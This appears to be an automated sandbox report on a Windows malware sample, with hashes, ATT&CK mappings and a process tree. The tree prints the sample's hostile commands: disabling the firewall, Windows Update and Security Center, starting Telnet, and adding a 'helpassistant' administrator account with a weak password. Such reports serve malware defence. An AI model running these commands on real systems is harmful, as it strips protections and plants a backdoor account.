37f9a252450c276e8c06806a4d7e3de228312db4c694c593fbaa6ad56dfb802f

Analysis

max time kernel
150s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 06:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
Size 2.1MB
Sample260809-hcfh3ssdpf
SHA256 37f9a252450c276e8c06806a4d7e3de228312db4c694c593fbaa6ad56dfb802f
MD5 a35d3eb5ab420200b9a7fff1a2a73628
SHA1 c0b0659d6fd1e8391beee11ba693092a99a04e3a
SHA512 82105c14db44ec8794a0247b5415423210b9cc16d648b5c16bd166b355c543b406a267be2d06b7460247addec2751f00344faabd3d704a9582253d3b30b206ee
SSDEEP 24576:w4R5CIH/7AI1niGnB9umZnAiGnB9um9hhe+TjszNhmbLoh0BW1oE1tT45a:wabH/8I1Ffu6Ufuqy+T28foh0Y1oQTb
TLSH
T1F4A59E12B78098A2DC6A8430B8F5D616AB31BCA11B50C6F76395F35D1F337D1AA7831B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\drivers\2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re~1.Doc	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
2004	UpdatAuto.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Option.bat	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe
File created	C:\Windows\SysWOW64\dayget.dat	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javacpl.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jp2launcher.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jjs.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\keytool.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaws.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\tnameserv.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\rmiregistry.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\java.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\klist.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\orbd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javaws.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\kinit.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\pack200.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jmap.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\schemagen.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\keytool.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\tnameserv.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\java-rmi.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	UpdatAuto.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3196	sc.exe
5500	sc.exe
5208	sc.exe
3212	sc.exe
3484	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4328	cmd.exe
4784	cmd.exe
4572	cmd.exe
4300	cmd.exe
4248	cmd.exe
5732	cmd.exe
2804	cmd.exe
5020	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2364	WINWORD.EXE
2364	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
2004	UpdatAuto.exe
2364	WINWORD.EXE
2364	WINWORD.EXE
2364	WINWORD.EXE
2364	WINWORD.EXE
2364	WINWORD.EXE
2364	WINWORD.EXE

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1036 wrote to memory of 2804	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	89
PID 1036 wrote to memory of 2004	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	91
PID 2004 wrote to memory of 5020	2004	UpdatAuto.exe	92
PID 1036 wrote to memory of 2364	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	94
PID 1036 wrote to memory of 3672	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	95
PID 1036 wrote to memory of 5732	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	96
PID 1036 wrote to memory of 4328	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	97
PID 1036 wrote to memory of 4248	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	98
PID 1036 wrote to memory of 4300	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	99
PID 1036 wrote to memory of 4572	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	100
PID 1036 wrote to memory of 4784	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	101
PID 1036 wrote to memory of 3196	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	109
PID 1036 wrote to memory of 3484	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	110
PID 1036 wrote to memory of 3212	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	111
PID 1036 wrote to memory of 5208	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	112
PID 1036 wrote to memory of 5500	1036	2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe	113
PID 4784 wrote to memory of 1216	4784	cmd.exe	119
PID 4328 wrote to memory of 5492	4328	cmd.exe	120
PID 4572 wrote to memory of 1328	4572	cmd.exe	121
PID 5732 wrote to memory of 2604	5732	cmd.exe	122
PID 5492 wrote to memory of 912	5492	net.exe	124
PID 1216 wrote to memory of 5688	1216	net.exe	125
PID 4300 wrote to memory of 1140	4300	cmd.exe	123
PID 1328 wrote to memory of 956	1328	net.exe	127
PID 2604 wrote to memory of 3436	2604	net.exe	128
PID 4248 wrote to memory of 1928	4248	cmd.exe	126
PID 3672 wrote to memory of 2816	3672	cmd.exe	130
PID 1140 wrote to memory of 2328	1140	net.exe	131
PID 2816 wrote to memory of 3656	2816	net.exe	132
PID 1928 wrote to memory of 2612	1928	net.exe	133

C:\Users\Admin\AppData\Local\Temp\2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re.exe"
1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1036
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2804
- C:\Windows\SysWOW64\UpdatAuto.exe
  C:\Windows\system32\UpdatAuto.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5020
- C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\system32\drivers\2026-08-09_a35d3eb5ab420200b9a7fff1a2a73628_cloudeye_cobalt-strike_elex_hijackloader_icedid_njrat_re~1.Doc" /o ""
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:2364
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop sharedaccess
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\SysWOW64\net.exe
    net stop sharedaccess
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sharedaccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:3656
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wuauserv
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5732
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:3436
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wscsvc
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\SysWOW64\net.exe
    net stop wscsvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5492
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:912
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop srservice
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\SysWOW64\net.exe
    net stop srservice
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop srservice
      4⤵
      System Location Discovery: System Language Discovery
      PID:2612
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net start TlntSvr
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Windows\SysWOW64\net.exe
    net start TlntSvr
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start TlntSvr
      4⤵
      System Location Discovery: System Language Discovery
      PID:2328
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user helpassistant 123456
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\SysWOW64\net.exe
    net user helpassistant 123456
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user helpassistant 123456
      4⤵
      System Location Discovery: System Language Discovery
      PID:956
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net localgroup administrators helpassistant /add
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators helpassistant /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1216
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators helpassistant /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:5688
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3196
- C:\Windows\SysWOW64\sc.exe
  sc config SharedAccess start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3484
- C:\Windows\SysWOW64\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3212
- C:\Windows\SysWOW64\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:5208
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:5500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7z.exe

Path C:\Program Files\7-Zip\7z.exe
Size 2.7MB
SHA256 475ce4e55be26d93d150cce4ad8541a77f1a23559bf16995a02418bc498b6a71
MD5 3b04cf864a7a728564de5ec62a67da71
SHA1 1df70b57a5b9348e4f29f2111b856b4151ffdd32
SHA512 5be24cb48ac1ca62b8e6be98eebb9962ea86c26221f0770446d37748f663bb8c8205b79333a0f738bbf6f62e5839732be0320f9601ddde63ac3890be7246076a
SSDEEP 49152:wabH/QI1Ffu6Ufuqy+T28foh0Y1oQTDPji0Aj:SI1FDUz2880Sjo
TLSH
T16CD57C12B7908562D8778434E8E1D61AEB317C911B60C6FB6395F36C1F337D2AA39326
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zFM.exe

Path C:\Program Files\7-Zip\7zFM.exe
Size 3.1MB
SHA256 d1512264e54f5778897a6d6aadc4c1dda0b28663611850ba42365ce66a362e97
MD5 0558b20119660b6539b2268e7c0f5e85
SHA1 67bb52f752f4fdb3fca69b8886113cec8f9aa101
SHA512 ecf4857a8bca036ba9056c1c19f5cd7bf9236a672f4b08fa967055e1ab69a636c1f1e144ba534ed55f89ca130de0940da995c683ee6621e324809e0b32a2fb48
